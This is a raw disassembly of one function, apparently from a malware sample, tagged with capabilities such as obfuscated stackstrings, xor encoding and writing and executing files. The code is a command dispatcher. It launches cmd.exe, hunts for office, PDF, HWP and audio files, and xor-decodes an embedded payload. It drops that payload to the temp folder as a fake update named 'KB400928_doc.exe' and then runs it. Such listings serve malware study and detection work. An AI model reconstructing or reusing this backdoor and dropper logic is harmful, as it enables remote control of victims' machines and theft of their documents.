Function at 0x40f569
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Delete file
Encode data using xor
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x166c
call fcn.0043bcc0
push ebx
push esi
push edi
push 0x4d016a
push str.Program
lea eax, [ebp - 0x1668]
push str.__s__s
push eax
call fcn.0040bcca
add esp, 0x10
lea eax, [ebp - 0x1668]
lea ecx, [ebp - 0x74]
push eax
call fcn.0040c4be
xor eax, eax
push 0x400
push eax
lea eax, [ebp - 0x1468]
push eax
call fcn.0043dd90
sub esp, 0xc
lea eax, [ebp - 0x74]
mov ecx, esp
push eax
call fcn.0040c4ef
push ecx
lea eax, [ebp - 0x14]
mov ecx, 0x4d0240
push eax
call fcn.004165d0
mov eax, dword [ebp - 0x10]
xor ebx, ebx
sub eax, dword [ebp - 0x14]
inc ebx
cmp eax, ebx
jae 0x40f5f4
lea ecx, [ebp - 0x14]
call fcn.0040c696
push 0
push ebx
jmp 0x411593
test al, 0xf
jne 0x40f5e4
push ecx
lea ecx, [ebp - 0x14]
call fcn.00412cf3
mov eax, dword [ebp - 0x14]
pop ecx
mov esi, dword [eax]
add eax, 4
push esi
push eax
lea eax, [ebp - 0x1468]
push eax
call fcn.0043d810
mov cl, byte [ebp - 0x1468]
xor eax, eax
add esp, 0xc
mov edx, eax
cmp cl, 0x30
jne 0x40f638
call fcn.0040f523
mov byte [0x4ca278], 0
jmp 0x40f5e4
cmp cl, 0x69
jne 0x40f64a
call fcn.0040f523
mov byte [0x4ca278], bl
jmp 0x40f5e4
cmp cl, 0x6a
jne 0x40f65f
call fcn.0040f523
push 0x81
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp cl, 0x62
je 0x40f64f
cmp cl, 0x64
jne 0x40fbdc
call fcn.0040f523
mov dword [ebp - 0x9e0], 0x8870823
mov dword [ebp - 0x9dc], 0x88f0888
mov dword [ebp - 0x9d8], 0x8450843
mov dword [ebp - 0x9d4], 0x8840848
mov dword [ebp - 0x9d0], 0x8930893
mov dword [ebp - 0x9cc], 0x8840887
mov dword [ebp - 0x9c8], 0x8840897
mov dword [ebp - 0x9c4], 0x87f0848
mov dword [ebp - 0x9c0], 0x88c0870
mov dword [ebp - 0x9bc], 0x8950886
mov dword [ebp - 0x9b8], 0x8960892
mov dword [ebp - 0x9b4], 0x8890892
mov dword [ebp - 0x9b0], 0x87f0897
mov dword [ebp - 0x9ac], 0x88c087a
mov dword [ebp - 0x9a8], 0x8870891
mov dword [ebp - 0x9a4], 0x89a0892
mov dword [ebp - 0x9a0], 0x87f0896
mov dword [ebp - 0x99c], 0x8970876
mov dword [ebp - 0x998], 0x8950884
mov dword [ebp - 0x994], 0x8430897
mov dword [ebp - 0x990], 0x8880870
mov dword [ebp - 0x98c], 0x8980891
mov dword [ebp - 0x988], 0x873087f
mov dword [ebp - 0x984], 0x8920895
mov dword [ebp - 0x980], 0x895088a
mov dword [ebp - 0x97c], 0x8900884
mov dword [ebp - 0x978], 0x87f0896
mov dword [ebp - 0x974], 0x8970876
mov dword [ebp - 0x970], 0x8950884
mov dword [ebp - 0x96c], 0x8980897
mov dword [ebp - 0x968], 0x87f0893
mov dword [ebp - 0x964], 0x851084d
mov dword [ebp - 0x960], 0x8650879
mov dword [ebp - 0x95c], 0x8450876
mov dword [ebp - 0x958], 0x8450843
mov dword [ebp - 0x954], 0x8840848
mov dword [ebp - 0x950], 0x8930893
mov dword [ebp - 0x94c], 0x8840887
mov dword [ebp - 0x948], 0x8840897
mov dword [ebp - 0x944], 0x87f0848
mov dword [ebp - 0x940], 0x851084d
mov dword [ebp - 0x93c], 0x8700866
mov dword [ebp - 0x938], 0x8450867
mov dword [ebp - 0x934], 0x8450843
mov dword [ebp - 0x930], 0x8840848
mov dword [ebp - 0x92c], 0x8930893
mov dword [ebp - 0x928], 0x8840887
mov dword [ebp - 0x924], 0x8840897
mov dword [ebp - 0x920], 0x87f0848
mov dword [ebp - 0x91c], 0x851084d
mov dword [ebp - 0x918], 0x8640865
mov dword [ebp - 0x914], 0x8450877
mov dword [ebp - 0x910], 0x8450843
mov dword [ebp - 0x90c], 0x8840848
mov dword [ebp - 0x908], 0x8930893
mov dword [ebp - 0x904], 0x8840887
mov dword [ebp - 0x900], 0x8840897
mov dword [ebp - 0x8fc], 0x87f0848
mov dword [ebp - 0x8f8], 0x853084d
mov dword [ebp - 0x8f4], 0x8450854
mov dword [ebp - 0x8f0], 0x8450843
mov dword [ebp - 0x8ec], 0x8840848
mov dword [ebp - 0x8e8], 0x8930893
mov dword [ebp - 0x8e4], 0x8840887
mov dword [ebp - 0x8e0], 0x8840897
mov dword [ebp - 0x8dc], 0x87f0848
mov dword [ebp - 0x8d8], 0x88c0870
mov dword [ebp - 0x8d4], 0x8950886
mov dword [ebp - 0x8d0], 0x8960892
mov dword [ebp - 0x8cc], 0x8890892
mov dword [ebp - 0x8c8], 0x87f0897
mov dword [ebp - 0x8c4], 0x88c087a
mov dword [ebp - 0x8c0], 0x8870891
mov dword [ebp - 0x8bc], 0x89a0892
mov dword [ebp - 0x8b8], 0x87f0896
mov dword [ebp - 0x8b4], 0x8970876
mov dword [ebp - 0x8b0], 0x8950884
mov dword [ebp - 0x8ac], 0x8430897
mov dword [ebp - 0x8a8], 0x8880870
mov dword [ebp - 0x8a4], 0x8980891
xor eax, eax
mov dword [ebp - 0x8a0], 0x873087f
lea edx, [ebp - 0xbf8]
mov dword [ebp - 0x89c], 0x8920895
lea ecx, [ebp - 0x9e0]
mov dword [ebp - 0x898], 0x895088a
mov dword [ebp - 0x894], 0x8900884
mov dword [ebp - 0x890], 0x87f0896
mov dword [ebp - 0x88c], 0x8970876
mov dword [ebp - 0x888], 0x8950884
mov dword [ebp - 0x884], 0x8980897
mov dword [ebp - 0x880], 0x87f0893
mov dword [ebp - 0x87c], 0x851084d
mov dword [ebp - 0x878], 0x891088f
mov dword [ebp - 0x874], 0x845088e
mov dword [ebp - 0x870], 0x8450843
mov dword [ebp - 0x86c], 0x8840848
mov dword [ebp - 0x868], 0x88f088f
mov dword [ebp - 0x864], 0x8960898
mov dword [ebp - 0x860], 0x8950888
mov dword [ebp - 0x85c], 0x8930896
mov dword [ebp - 0x858], 0x8920895
mov dword [ebp - 0x854], 0x88c0889
mov dword [ebp - 0x850], 0x888088f
mov dword [ebp - 0x84c], 0x87f0848
mov dword [ebp - 0x848], 0x88c0870
mov dword [ebp - 0x844], 0x8950886
mov dword [ebp - 0x840], 0x8960892
mov dword [ebp - 0x83c], 0x8890892
mov dword [ebp - 0x838], 0x87f0897
mov dword [ebp - 0x834], 0x88c087a
mov dword [ebp - 0x830], 0x8870891
mov dword [ebp - 0x82c], 0x89a0892
mov dword [ebp - 0x828], 0x87f0896
mov dword [ebp - 0x824], 0x8970876
mov dword [ebp - 0x820], 0x8950884
mov dword [ebp - 0x81c], 0x8430897
mov dword [ebp - 0x818], 0x8880870
mov dword [ebp - 0x814], 0x8980891
mov dword [ebp - 0x810], 0x873087f
mov dword [ebp - 0x80c], 0x8920895
mov dword [ebp - 0x808], 0x895088a
mov dword [ebp - 0x804], 0x8900884
mov dword [ebp - 0x800], 0x87f0896
mov dword [ebp - 0x7fc], 0x8970876
mov dword [ebp - 0x7f8], 0x8950884
mov dword [ebp - 0x7f4], 0x8980897
mov dword [ebp - 0x7f0], 0x87f0893
mov dword [ebp - 0x7ec], 0x851084d
mov dword [ebp - 0x7e8], 0x891088f
mov dword [ebp - 0x7e4], 0x845088e
mov dword [ebp - 0x7e0], 0x8520843
mov dword [ebp - 0x7dc], 0x8430869
mov dword [ebp - 0x7d8], 0x8740852
mov word [ebp - 0x7d4], ax
call fcn.0040e6d3
sub esp, 0x18
lea eax, [ebp - 0xbf8]
mov ecx, esp
push eax
call fcn.0040c569
push 0
mov edx, 0x258
xor cl, cl
call fcn.0040c110
add esp, 0x1c
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40f654
cmp cl, 0x66
jne 0x40fe9b
call fcn.0040f523
xor eax, eax
mov dword [ebp - 0x178], 0x8870823
lea edx, [ebp - 0xbf8]
mov dword [ebp - 0x174], 0x88f0888
lea ecx, [ebp - 0x178]
mov dword [ebp - 0x170], 0x8450843
mov dword [ebp - 0x16c], 0x8840848
mov dword [ebp - 0x168], 0x8930893
mov dword [ebp - 0x164], 0x8840887
mov dword [ebp - 0x160], 0x8840897
mov dword [ebp - 0x15c], 0x87f0848
mov dword [ebp - 0x158], 0x88c0870
mov dword [ebp - 0x154], 0x8950886
mov dword [ebp - 0x150], 0x8960892
mov dword [ebp - 0x14c], 0x8890892
mov dword [ebp - 0x148], 0x87f0897
mov dword [ebp - 0x144], 0x88c087a
mov dword [ebp - 0x140], 0x8870891
mov dword [ebp - 0x13c], 0x89a0892
mov dword [ebp - 0x138], 0x87f0896
mov dword [ebp - 0x134], 0x8970876
mov dword [ebp - 0x130], 0x8950884
mov dword [ebp - 0x12c], 0x8430897
mov dword [ebp - 0x128], 0x8880870
mov dword [ebp - 0x124], 0x8980891
mov dword [ebp - 0x120], 0x873087f
mov dword [ebp - 0x11c], 0x8920895
mov dword [ebp - 0x118], 0x895088a
mov dword [ebp - 0x114], 0x8900884
mov dword [ebp - 0x110], 0x87f0896
mov dword [ebp - 0x10c], 0x8970876
mov dword [ebp - 0x108], 0x8950884
mov dword [ebp - 0x104], 0x8980897
mov dword [ebp - 0x100], 0x87f0893
mov dword [ebp - 0xfc], 0x851084d
mov dword [ebp - 0xf8], 0x8650879
mov dword [ebp - 0xf4], 0x8450876
mov dword [ebp - 0xf0], 0x8450843
mov dword [ebp - 0xec], 0x8840848
mov dword [ebp - 0xe8], 0x8930893
mov dword [ebp - 0xe4], 0x8840887
mov dword [ebp - 0xe0], 0x8840897
mov dword [ebp - 0xdc], 0x87f0848
mov dword [ebp - 0xd8], 0x851084d
mov dword [ebp - 0xd4], 0x8700866
mov dword [ebp - 0xd0], 0x8450867
mov dword [ebp - 0xcc], 0x8450843
mov dword [ebp - 0xc8], 0x8840848
mov dword [ebp - 0xc4], 0x8930893
mov dword [ebp - 0xc0], 0x8840887
mov dword [ebp - 0xbc], 0x8840897
mov dword [ebp - 0xb8], 0x87f0848
mov dword [ebp - 0xb4], 0x851084d
mov dword [ebp - 0xb0], 0x8640865
mov dword [ebp - 0xac], 0x8450877
mov dword [ebp - 0xa8], 0x8450843
mov dword [ebp - 0xa4], 0x8840848
mov dword [ebp - 0xa0], 0x8930893
mov dword [ebp - 0x9c], 0x8840887
mov dword [ebp - 0x98], 0x8840897
mov dword [ebp - 0x94], 0x87f0848
mov dword [ebp - 0x90], 0x853084d
mov dword [ebp - 0x8c], 0x8450854
mov dword [ebp - 0x88], 0x8520843
mov dword [ebp - 0x84], 0x8430869
mov dword [ebp - 0x80], 0x8740852
mov word [ebp - 0x7c], ax
call fcn.0040e6d3
sub esp, 0x18
lea eax, [ebp - 0xbf8]
mov ecx, esp
push eax
call fcn.0040c569
push 0
mov edx, 0x258
xor cl, cl
call fcn.0040c110
add esp, 0x1c
jmp 0x40f654
cmp cl, 0x67
jne 0x40feaa
call fcn.0040f523
jmp 0x40f5e4
cmp cl, 0x68
jne 0x40febe
call fcn.0040f523
call fcn.0040efc5
jmp 0x40f5e4
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, eax
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
cmp cl, 0x31
je 0x410288
cmp cl, 0x32
je 0x410288
cmp cl, 0x35
je 0x410288
cmp cl, 0x36
je 0x410288
cmp cl, 0x33
je 0x41015d
cmp cl, 0x34
je 0x41015d
cmp cl, 0x37
je 0x41015d
cmp cl, 0x38
je 0x41015d
cmp cl, 0x39
je 0x41015d
cmp cl, 0x65
jne 0x40ff78
lea eax, [ebp - 0x1467]
push eax
lea eax, [ebp - 0x1068]
push str._c___s_
push eax
call fcn.0040bcca
add esp, 0xc
call fcn.0040f523
xor eax, eax
lea ecx, [ebp - 0x1068]
push eax
push eax
push ecx
push str.cmd.exe
push str.open
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x20]
call fcn.0040c696
lea ecx, [ebp - 0x14]
call fcn.0040c696
push 0
jmp 0x411591
cmp cl, 0x63
jne 0x4102a1
mov ecx, 0xc1
lea esi, [ebp - 0x1467]
lea edi, [ebp - 0xf70]
rep movsd dword es:[edi], dword [esi]
call fcn.0040f523
lea edx, [ebp - 0xa20]
lea ecx, [ebp - 0xf70]
call fcn.0040e689
cmp eax, 1
jne 0x40ffc5
lea edx, [ebp - 0xa20]
lea ecx, [ebp - 0xf70]
call fcn.004115a4
jmp 0x41157e
cmp eax, 2
jne 0x41157e
push 0x194
lea eax, [ebp - 0xc00]
push 0
push eax
call fcn.0043dd90
add esp, 0xc
lea eax, [ebp - 0xd70]
push str.Normal
push eax
call fcn.004465c8
pop ecx
pop ecx
test eax, eax
jne 0x410086
mov esi, str..XLS
lea edi, [ebp - 0xc00]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..DOC
lea edi, [ebp - 0xbec]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..PPT
lea edi, [ebp - 0xbd8]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..TXT
lea edi, [ebp - 0xbc4]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..M4A
lea edi, [ebp - 0xbb0]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..AMR
lea edi, [ebp - 0xb9c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..PDF
lea edi, [ebp - 0xb88]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str..HWP
lea edi, [ebp - 0xb74]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov dword [ebp - 0xa70], 8
jmp 0x410139
lea eax, [ebp - 0xd70]
push 0x4b85f0
push eax
call fcn.004465c8
pop ecx
pop ecx
test eax, eax
jne 0x4100ac
mov dword [ebp - 0xa70], 0x64
jmp 0x410139
lea edx, [ebp - 0xd70]
xor eax, eax
lea esi, [edx + 2]
mov cx, word [edx]
add edx, 2
cmp cx, ax
jne 0x4100b7
sub edx, esi
sar edx, 1
je 0x41012b
mov dword [ebp - 0xa70], eax
lea eax, [ebp - 0xd70]
push eax
call fcn.0044975b
xor eax, eax
mov esi, 0x4b85f8
pop ecx
push eax
lea eax, [ebp - 0xd70]
jmp 0x41011b
mov eax, dword [ebp - 0xa70]
cmp eax, 0x14
jge 0x410131
imul eax, eax, 0x14
lea edx, [ebp - 0xc00]
add edx, eax
movzx eax, word [ecx]
lea ecx, [ecx + 2]
mov word [edx], ax
lea edx, [edx + 2]
test ax, ax
jne 0x410101
inc dword [ebp - 0xa70]
xor eax, eax
push eax
push esi
push eax
call fcn.0044d767
mov ecx, eax
add esp, 0xc
test ecx, ecx
jne 0x4100eb
mov eax, dword [ebp - 0xa70]
test eax, eax
jle 0x41157e
cmp dword [ebp - 0xc70], ebx
lea edx, [ebp - 0xc00]
lea ecx, [ebp - 0xf70]
setne al
movzx eax, al
push eax
call fcn.00411739
pop ecx
jmp 0x41157e
lea edx, [esi - 1]
mov ecx, eax
test edx, edx
jle 0x410189
mov eax, ecx
and eax, 0x8000001f
jns 0x410174
dec eax
or eax, 0xffffffe0
inc eax
movzx eax, al
mov al, byte [eax + 0x4d0192]
xor byte [ebp + ecx - 0x1467], al
inc ecx
cmp ecx, edx
jl 0x410166
push 0x4b8558
mov eax, 0x4b8560
mov esi, 0x4d02d8
push eax
push eax
lea eax, [ebp - 0x1467]
mov ecx, esi
push eax
push dword [0x4d01e0]
call fcn.00414800
mov ecx, esi
call fcn.00414860
mov al, byte [ebp - 0x1468]
cmp al, 0x33
jb 0x4101df
cmp al, 0x34
jbe 0x4101c9
sub al, 0x37
cmp al, 2
ja 0x4101df
push 0x4d0142
lea eax, [ebp - 0x148]
push 0x4b8568
push eax
call edi
add esp, 0xc
sub esp, 0x18
lea eax, [ebp - 0x148]
mov ecx, esp
push eax
call fcn.0040c4be
push ecx
lea eax, [ebp - 0xa2c]
mov ecx, esi
push eax
call fcn.004165d0
mov edx, dword [ebp - 0xa28]
mov ecx, dword [ebp - 0xa2c]
sub edx, ecx
cmp edx, 4
jb 0x410273
test dl, 0xf
jne 0x410273
push ecx
push ecx
call fcn.00412d93
mov edx, dword [ebp - 0xa2c]
xor eax, eax
pop ecx
pop ecx
mov byte [ebp - 8], al
push dword [ebp - 8]
mov esi, dword [edx]
lea ecx, [edx + 4]
add ecx, esi
push ecx
lea ecx, [edx + 4]
push ecx
push eax
lea ecx, [ebp - 0x20]
call fcn.0040e0aa
mov ebx, dword [ebp - 0x20]
xor eax, eax
mov edx, eax
test esi, esi
je 0x410264
movzx eax, dl
lea ecx, [ebx + edx]
and eax, 0x1f
mov al, byte [eax + 0x4d0121]
xor byte [ecx], al
inc edx
cmp edx, esi
jb 0x41024e
xor eax, eax
cmp dword [ebx + esi - 4], 0xeeeeeeee
sete al
jmp 0x410275
xor eax, eax
lea ecx, [ebp - 0xa2c]
mov dword [ebp - 8], eax
call fcn.0040c696
mov edx, dword [ebp - 8]
jmp 0x41029b
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1467]
call fcn.0040dfc6
mov ebx, dword [ebp - 0x20]
mov edx, eax
mov cl, byte [ebp - 0x1468]
cmp cl, 0x31
je 0x4103c9
cmp cl, 0x33
je 0x4103c9
cmp cl, 0x32
je 0x4103c9
cmp cl, 0x34
je 0x4103c9
cmp cl, 0x35
je 0x4102e2
cmp cl, 0x36
je 0x4102e2
cmp cl, 0x37
je 0x4102e2
cmp cl, 0x38
je 0x4102e2
cmp cl, 0x39
jne 0x41157e
test edx, edx
je 0x41157b
call fcn.0040f523
push 0x4d0142
lea eax, [ebp - 0x148]
push 0x4b8568
push eax
call edi
sub esp, 0xc
lea eax, [ebp - 0x148]
mov ecx, esp
push eax
call fcn.0040c4be
push ecx
mov ecx, 0x4d02d8
call fcn.00417180
movzx eax, byte [ebx]
lea ecx, [ebx + 5]
add ecx, eax
mov dword [ebp - 0x5c], ecx
mov eax, dword [eax + ebx + 1]
mov dword [ebp - 8], eax
lea eax, [ebp - 0xb68]
push eax
push 0x100
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [ebp - 0xb68]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x410349
mov edx, dword [ebp - 8]
mov esi, str.KB400928_doc.exe
xor eax, eax
mov ecx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x5c]
test edx, edx
je 0x41037a
mov ah, byte [esi]
mov al, byte [ecx + esi]
xor al, ah
xor al, 0x4d
mov byte [ecx + esi], al
inc ecx
cmp ecx, edx
jb 0x41036b
lea eax, [ebp - 0xb68]
push 0x4b8364
push eax
call fcn.004465b1
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x41157b
push edi
push dword [ebp - 8]
push 1
push esi
call fcn.00449e8a
push edi
call fcn.004467b3
add esp, 0x14
lea ecx, [ebp - 0xb68]
xor eax, eax
push eax
push eax
push eax
push ecx
push 0x4b8338
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x41157e
test edx, edx
je 0x41157b
call fcn.0040f523
push 0x4d0142
lea eax, [ebp - 0x148]
push 0x4b8568
push eax
call edi
sub esp, 0xc
lea eax, [ebp - 0x148]
mov ecx, esp
push eax
call fcn.0040c4be
push ecx
mov ecx, 0x4d02d8
call fcn.00417180
movzx edx, byte [ebx]
lea ecx, [ebx + 5]
xor eax, eax
add ecx, edx
push eax
push dword [edx + ebx + 1]
call fcn.0040ee33
pop ecx
pop ecx
lea ecx, [ebp - 0x58]
test al, al
je 0x410496
xor eax, eax
mov dword [ebp - 0x58], 0x92308be
lea edx, [ebp - 0xa4c]
mov dword [ebp - 0x54], 0x9260921
mov dword [ebp - 0x50], 0x8de092d
mov dword [ebp - 0x4c], 0x909090d
mov dword [ebp - 0x48], 0x8fc08de
mov dword [ebp - 0x44], 0x8de08fc
mov dword [ebp - 0x40], 0x8e308e0
mov dword [ebp - 0x3c], 0x9230932
mov dword [ebp - 0x38], 0x92e092b
mov dword [ebp - 0x34], 0x91a08e3
mov dword [ebp - 0x30], 0x8ec0930
mov dword [ebp - 0x2c], 0x9360932
mov dword [ebp - 0x28], 0x8e00932
mov word [ebp - 0x24], ax
call fcn.0040e6d3
lea eax, [ebp - 0xa4c]
jmp 0x410508
xor eax, eax
mov dword [ebp - 0x58], 0x8e90884
lea edx, [ebp - 0xa68]
mov dword [ebp - 0x54], 0x8ec08e7
mov dword [ebp - 0x50], 0x8a408f3
mov dword [ebp - 0x4c], 0x8c808c6
mov dword [ebp - 0x48], 0x8c208a4
mov dword [ebp - 0x44], 0x8a408c2
mov dword [ebp - 0x40], 0x8a908a6
mov dword [ebp - 0x3c], 0x8e908f8
mov dword [ebp - 0x38], 0x8f408f1
mov dword [ebp - 0x34], 0x8e008a9
mov dword [ebp - 0x30], 0x8b208f6
mov dword [ebp - 0x2c], 0x8fc08f8
mov dword [ebp - 0x28], 0x8a608f8
mov word [ebp - 0x24], ax
call fcn.0040e6d3
lea eax, [ebp - 0xa68]
sub esp, 0x18
mov ecx, esp
push eax
call fcn.0040c569
push 1
push 5
pop edx
mov cl, 1
call fcn.0040c110
add esp, 0x1c
mov dword [ebp - 0x7d0], 0x8970823
mov dword [ebp - 0x7cc], 0x8960884
mov dword [ebp - 0x7c8], 0x88f088e
mov dword [ebp - 0x7c4], 0x896088c
mov dword [ebp - 0x7c0], 0x8610897
mov dword [ebp - 0x7bc], 0x8450861
mov dword [ebp - 0x7b8], 0x8970848
mov dword [ebp - 0x7b4], 0x8900888
mov dword [ebp - 0x7b0], 0x8480893
mov dword [ebp - 0x7ac], 0x895087f
mov dword [ebp - 0x7a8], 0x8970851
mov dword [ebp - 0x7a4], 0x897089b
mov dword [ebp - 0x7a0], 0x8430845
mov dword [ebp - 0x79c], 0x8430849
mov dword [ebp - 0x798], 0x8860888
mov dword [ebp - 0x794], 0x892088b
mov dword [ebp - 0x790], 0x8600843
mov dword [ebp - 0x78c], 0x8430860
mov dword [ebp - 0x788], 0x8970876
mov dword [ebp - 0x784], 0x8950884
mov dword [ebp - 0x780], 0x8980897
mov dword [ebp - 0x77c], 0x8430893
mov dword [ebp - 0x778], 0x8600860
mov dword [ebp - 0x774], 0x8610861
mov dword [ebp - 0x770], 0x8480845
mov dword [ebp - 0x76c], 0x8880897
mov dword [ebp - 0x768], 0x8930890
mov dword [ebp - 0x764], 0x87f0848
mov dword [ebp - 0x760], 0x8510895
mov dword [ebp - 0x75c], 0x89b0897
mov dword [ebp - 0x758], 0x8450897
mov dword [ebp - 0x754], 0x8490843
mov dword [ebp - 0x750], 0x8870843
mov dword [ebp - 0x74c], 0x895088c
mov dword [ebp - 0x748], 0x8520843
mov dword [ebp - 0x744], 0x8430884
mov dword [ebp - 0x740], 0x8480845
mov dword [ebp - 0x73c], 0x8930884
mov dword [ebp - 0x738], 0x8870893
mov dword [ebp - 0x734], 0x8970884
mov dword [ebp - 0x730], 0x8480884
mov dword [ebp - 0x72c], 0x870087f
mov dword [ebp - 0x728], 0x886088c
mov dword [ebp - 0x724], 0x8920895
mov dword [ebp - 0x720], 0x8920896
mov dword [ebp - 0x71c], 0x8970889
mov dword [ebp - 0x718], 0x87a087f
mov dword [ebp - 0x714], 0x891088c
mov dword [ebp - 0x710], 0x8920887
mov dword [ebp - 0x70c], 0x896089a
mov dword [ebp - 0x708], 0x876087f
mov dword [ebp - 0x704], 0x8840897
mov dword [ebp - 0x700], 0x8970895
mov dword [ebp - 0x6fc], 0x8700843
mov dword [ebp - 0x6f8], 0x8910888
mov dword [ebp - 0x6f4], 0x87f0898
mov dword [ebp - 0x6f0], 0x8950873
mov dword [ebp - 0x6ec], 0x88a0892
mov dword [ebp - 0x6e8], 0x8840895
mov dword [ebp - 0x6e4], 0x8960890
mov dword [ebp - 0x6e0], 0x876087f
mov dword [ebp - 0x6dc], 0x8840897
mov dword [ebp - 0x6d8], 0x8970895
mov dword [ebp - 0x6d4], 0x8930898
mov dword [ebp - 0x6d0], 0x8610845
mov dword [ebp - 0x6cc], 0x8450861
mov dword [ebp - 0x6c8], 0x8970848
mov dword [ebp - 0x6c4], 0x8900888
mov dword [ebp - 0x6c0], 0x8480893
mov dword [ebp - 0x6bc], 0x895087f
mov dword [ebp - 0x6b8], 0x8970851
mov dword [ebp - 0x6b4], 0x897089b
mov dword [ebp - 0x6b0], 0x8430845
mov dword [ebp - 0x6ac], 0x8430849
mov dword [ebp - 0x6a8], 0x88c0887
mov dword [ebp - 0x6a4], 0x8430895
mov dword [ebp - 0x6a0], 0x8840852
mov dword [ebp - 0x69c], 0x8430843
mov dword [ebp - 0x698], 0x8480845
mov dword [ebp - 0x694], 0x88f0884
mov dword [ebp - 0x690], 0x898088f
mov dword [ebp - 0x68c], 0x8880896
mov dword [ebp - 0x688], 0x8960895
mov dword [ebp - 0x684], 0x8950893
mov dword [ebp - 0x680], 0x8890892
mov dword [ebp - 0x67c], 0x88f088c
mov dword [ebp - 0x678], 0x8480888
mov dword [ebp - 0x674], 0x870087f
mov dword [ebp - 0x670], 0x886088c
mov dword [ebp - 0x66c], 0x8920895
mov dword [ebp - 0x668], 0x8920896
mov dword [ebp - 0x664], 0x8970889
mov dword [ebp - 0x660], 0x87a087f
mov dword [ebp - 0x65c], 0x891088c
mov dword [ebp - 0x658], 0x8920887
mov dword [ebp - 0x654], 0x896089a
mov dword [ebp - 0x650], 0x876087f
mov dword [ebp - 0x64c], 0x8840897
mov dword [ebp - 0x648], 0x8970895
mov dword [ebp - 0x644], 0x8700843
mov dword [ebp - 0x640], 0x8910888
mov dword [ebp - 0x63c], 0x87f0898
mov dword [ebp - 0x638], 0x8950873
mov dword [ebp - 0x634], 0x88a0892
mov dword [ebp - 0x630], 0x8840895
mov dword [ebp - 0x62c], 0x8960890
mov dword [ebp - 0x628], 0x876087f
mov dword [ebp - 0x624], 0x8840897
mov dword [ebp - 0x620], 0x8970895
mov dword [ebp - 0x61c], 0x8930898
mov dword [ebp - 0x618], 0x8610845
mov dword [ebp - 0x614], 0x8450861
mov dword [ebp - 0x610], 0x8970848
mov dword [ebp - 0x60c], 0x8900888
mov dword [ebp - 0x608], 0x8480893
mov dword [ebp - 0x604], 0x895087f
mov dword [ebp - 0x600], 0x8970851
mov dword [ebp - 0x5fc], 0x897089b
mov dword [ebp - 0x5f8], 0x8430845
mov dword [ebp - 0x5f4], 0x8430849
mov dword [ebp - 0x5f0], 0x8860888
mov dword [ebp - 0x5ec], 0x892088b
mov dword [ebp - 0x5e8], 0x8600843
mov dword [ebp - 0x5e4], 0x8430860
mov dword [ebp - 0x5e0], 0x891086c
mov dword [ebp - 0x5dc], 0x8920889
mov dword [ebp - 0x5d8], 0x8600843
mov dword [ebp - 0x5d4], 0x8610860
mov dword [ebp - 0x5d0], 0x8450861
mov dword [ebp - 0x5cc], 0x8970848
mov dword [ebp - 0x5c8], 0x8900888
mov dword [ebp - 0x5c4], 0x8480893
mov dword [ebp - 0x5c0], 0x895087f
mov dword [ebp - 0x5bc], 0x8970851
mov dword [ebp - 0x5b8], 0x897089b
mov dword [ebp - 0x5b4], 0x8430845
mov dword [ebp - 0x5b0], 0x8430849
mov dword [ebp - 0x5ac], 0x89c0896
mov dword [ebp - 0x5a8], 0x8970896
mov dword [ebp - 0x5a4], 0x8900888
mov dword [ebp - 0x5a0], 0x891088c
mov dword [ebp - 0x59c], 0x8920889
mov dword [ebp - 0x598], 0x8610861
mov dword [ebp - 0x594], 0x8480845
mov dword [ebp - 0x590], 0x8880897
mov dword [ebp - 0x58c], 0x8930890
mov dword [ebp - 0x588], 0x87f0848
mov dword [ebp - 0x584], 0x8510895
mov dword [ebp - 0x580], 0x89b0897
mov dword [ebp - 0x57c], 0x8450897
mov dword [ebp - 0x578], 0x8490843
mov dword [ebp - 0x574], 0x8880843
mov dword [ebp - 0x570], 0x88b0886
mov dword [ebp - 0x56c], 0x8430892
mov dword [ebp - 0x568], 0x8600860
mov dword [ebp - 0x564], 0x8750843
mov dword [ebp - 0x560], 0x8980892
mov dword [ebp - 0x55c], 0x8880897
mov dword [ebp - 0x558], 0x8600843
mov dword [ebp - 0x554], 0x8610860
mov dword [ebp - 0x550], 0x8450861
mov dword [ebp - 0x54c], 0x8970848
mov dword [ebp - 0x548], 0x8900888
mov dword [ebp - 0x544], 0x8480893
mov dword [ebp - 0x540], 0x895087f
mov dword [ebp - 0x53c], 0x8970851
mov dword [ebp - 0x538], 0x897089b
mov dword [ebp - 0x534], 0x8430845
mov dword [ebp - 0x530], 0x8430849
mov dword [ebp - 0x52c], 0x8920895
mov dword [ebp - 0x528], 0x8970898
mov dword [ebp - 0x524], 0x8430888
mov dword [ebp - 0x520], 0x8950893
mov dword [ebp - 0x51c], 0x891088c
mov dword [ebp - 0x518], 0x8610897
mov dword [ebp - 0x514], 0x8450861
